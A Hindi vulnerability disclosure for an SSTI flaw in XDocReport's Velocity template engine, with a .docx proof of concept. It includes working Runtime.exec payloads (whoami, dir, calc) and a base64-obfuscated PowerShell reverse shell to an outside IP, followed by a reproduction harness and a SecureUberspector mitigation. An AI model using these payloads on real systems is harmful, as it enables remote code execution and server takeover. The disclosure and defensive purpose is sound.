
CVE-2026-38165 (SSTI)
भेद्यता का अवलोकन
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) एक वेब सुरक्षा भेद्यता है जो हमलावरों को सामग्री प्रबंधन प्रणालियों (CMS) और वेब फ्रेमवर्क द्वारा उपयोग किए जाने वाले टेम्पलेट्स में दुर्भावनापूर्ण कोड डालने की अनुमति देती है, जिससे रिमोट हमले, संवेदनशील जानकारी प्राप्त करना या सिस्टम में घुसपैठ की गतिविधियाँ संभव होती हैं।
SSTI इंजेक्शन भेद्यता (जैसे SQL इंजेक्शन, XSS आदि) का एक प्रकार है, जिसमें हैकर्स रिमोट रूप से दुर्भावनापूर्ण कोड तैनात करने के लिए टेम्पलेट सिस्टम का उपयोग करते हैं। जब SSTI हमला सफलतापूर्वक किया जाता है, तो हैकर सर्वर पर अपना स्वयं का कोड निष्पादित कर सकता है, जिससे वे रिमोट हमले कर सकते हैं, जैसे संवेदनशील जानकारी एकत्र करना, सिस्टम में घुसपैठ की गतिविधियाँ करना और अनधिकृत संसाधनों तक पहुँच प्राप्त करना।
SSTI भेद्यता आमतौर पर असुरक्षित टेम्पलेट सिस्टम के उपयोग या इनपुट पैरामीटर को टेम्पलेट में डालने से पहले जाँच और प्रसंस्करण न करने के कारण होती है। यदि SSTI हमला सफलतापूर्वक किया जाता है, तो परिणाम गंभीर हो सकते हैं और हमलावर संगठन को बड़ा नुकसान पहुँचा सकता है।
व्यावसायिक प्रभाव
SSTI भेद्यता कई गंभीर परिणाम उत्पन्न कर सकती है, जिनमें शामिल हैं:
दुर्भावनापूर्ण कोड निष्पादन: हमलावर इस भेद्यता का उपयोग सर्वर पर दुर्भावनापूर्ण कोड निष्पादित करने के लिए कर सकता है, जिससे डेटा चोरी, सिस्टम पर अवैध कार्य करना और यहाँ तक कि सर्वर का पूर्ण नियंत्रण प्राप्त करना संभव हो जाता है।
संवेदनशील जानकारी का खुलासा: SSTI हमलावर को सर्वर पर फ़ाइलों को पढ़ने, बदलने या हटाने की अनुमति दे सकता है। यदि इन फ़ाइलों में खातों और पासवर्ड जैसी संवेदनशील जानकारी है, तो हमलावर आसानी से इस जानकारी को उजागर कर सकता है।
धमकी या फ़िशिंग हमले: हमलावर SSTI का उपयोग वेबसाइट की सामग्री बदलकर या नकली कस्टम बटन जोड़कर उपयोगकर्ताओं पर धमकी या फ़िशिंग हमले कर सकता है। यदि उपयोगकर्ता इन बटनों पर क्लिक करते हैं, तो हमलावर उपयोगकर्ता की जानकारी चुरा सकता है या उनके कंप्यूटर पर मैलवेयर इंस्टॉल कर सकता है।

fr.opensagres.xdocreport.template.velocity
OpenSAGRES XDocReport में DOCX टेम्पलेट्स को velocity इंजन के साथ प्रोसेस करते समय एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) भेद्यता पाई गई। कुछ कॉन्फ़िगरेशन के तहत, क्राफ्टेड टेम्पलेट्स रिमोट कोड निष्पादन (RCE) का कारण बन सकते हैं।
कार्मिक प्रबंधन वेबसाइट उपयोगकर्ताओं को सिस्टम पर .docx दस्तावेज़ फ़ाइल अपलोड करने की अनुमति देती है। प्रसंस्करण के दौरान, एप्लिकेशन बिना किसी इनपुट नियंत्रण या फ़िल्टरिंग तंत्र के velocity टेम्पलेट इंजन (फ़ाइल पर) का उपयोग करके सामग्री रेंडर करता है।
यह भेद्यता हमलावर को .docx फ़ाइल (टेम्पलेट) में दुर्भावनापूर्ण अभिव्यक्तियाँ डालने की अनुमति देती है, जिससे सर्वर पर रिमोट कोड निष्पादन (RCE) होता है और इसका उपयोग जानकारी चुराने या सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है।
fr.opensagres.xdocreport.template.velocity — XDocReport (संस्करण =< 2.1.0)।
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) Apache Velocity में एक रीडर (या स्ट्रिंग) से टेम्पलेट का मूल्यांकन करने के लिए एक मानक/डिफ़ॉल्ट विधि है, जो एक Context का उपयोग करती है और एक Writer पर आउटपुट लिखती है। यह Template.merge(...) की तरह ही VTL (Velocity Template Language) सिंटैक्स निष्पादित करती है।
evaluate: Reader/String से पार्स करता है → जब टेम्पलेट डायनामिक/अविश्वसनीय हो तो सुविधाजनक।
getTemplate(...).merge(...): संसाधन लोडर द्वारा संसाधित टेम्पलेट (कैशिंग, एन्कोडिंग आदि) लोड करता है, फिर मर्ज करता है। VTL निष्पादन क्षमता के संदर्भ में, दोनों समान अभिव्यक्तियाँ निष्पादित करते हैं; अंतर मुख्य रूप से टेम्पलेट लोड करने के स्थान/मोड में है।
.docx फ़ाइल अपलोड करता है जिसमें निम्नलिखित पेलोड होता है:
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130 है
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx फ़ाइल को xdocreport के माध्यम से संसाधित किया जाता है

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
Apache Velocity का SecureUberspector क्लास एक सैंडबॉक्स इंट्रोस्पेक्टर है।
SecureUberspector ब्लॉक करेगा:
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
ब्लॉक:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// वेलोसिटी अभिव्यक्तियों वाली इनपुट फ़ाइल पढ़ें
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // इनपुट फ़ाइल
InputStream input = new FileInputStream(docxTemplate);
// Velocity का उपयोग करके टेम्पलेट लोड करें
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// संदर्भ बनाएं - यदि केवल स्वतंत्र अभिव्यक्तियों का परीक्षण कर रहे हैं तो खाली छोड़ा जा सकता है
IContext context = report.createContext();
// नई फ़ाइल में आउटपुट
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ result.docx फ़ाइल सफलतापूर्वक बनाई गई।");
} catch (Exception e) {
System.err.println("❌ फ़ाइल प्रसंस्करण में त्रुटि:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













